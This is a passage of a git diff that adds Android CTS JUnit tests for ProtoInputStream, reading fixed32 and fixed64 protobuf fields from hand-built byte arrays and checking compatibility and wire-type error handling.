+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed32FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.fixed32FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> 1
+ (byte) 0x32,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x08,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x08,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[0]);
+ testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED32;
+ final long FIELD_ID = fieldFlags | ((long) 92 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed32FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed32FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.fixed32FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x0d,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x04,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed fixed32)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ // don't fail, fixed32 is ok
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java
new file mode 100644
index 0000000..8aa5cb3
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed64Test.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamFixed64Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> 1
+ (byte) 0x41,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[] results = new long[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ assertEquals(Long.MIN_VALUE, results[5]);
+ assertEquals(Long.MAX_VALUE, results[6]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ testReadCompat(Long.MIN_VALUE);
+ testReadCompat(Long.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(long val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 100 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed64Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed64Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 8 -> 1
+ (byte) 0x41,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new long[0]);
+ testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_FIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 101 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.fixed64FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.fixed64FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.fixed64FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_FIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x10,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 8 -> 1
+ (byte) 0x42,
+ (byte) 0x10,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x3a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new long[0]);
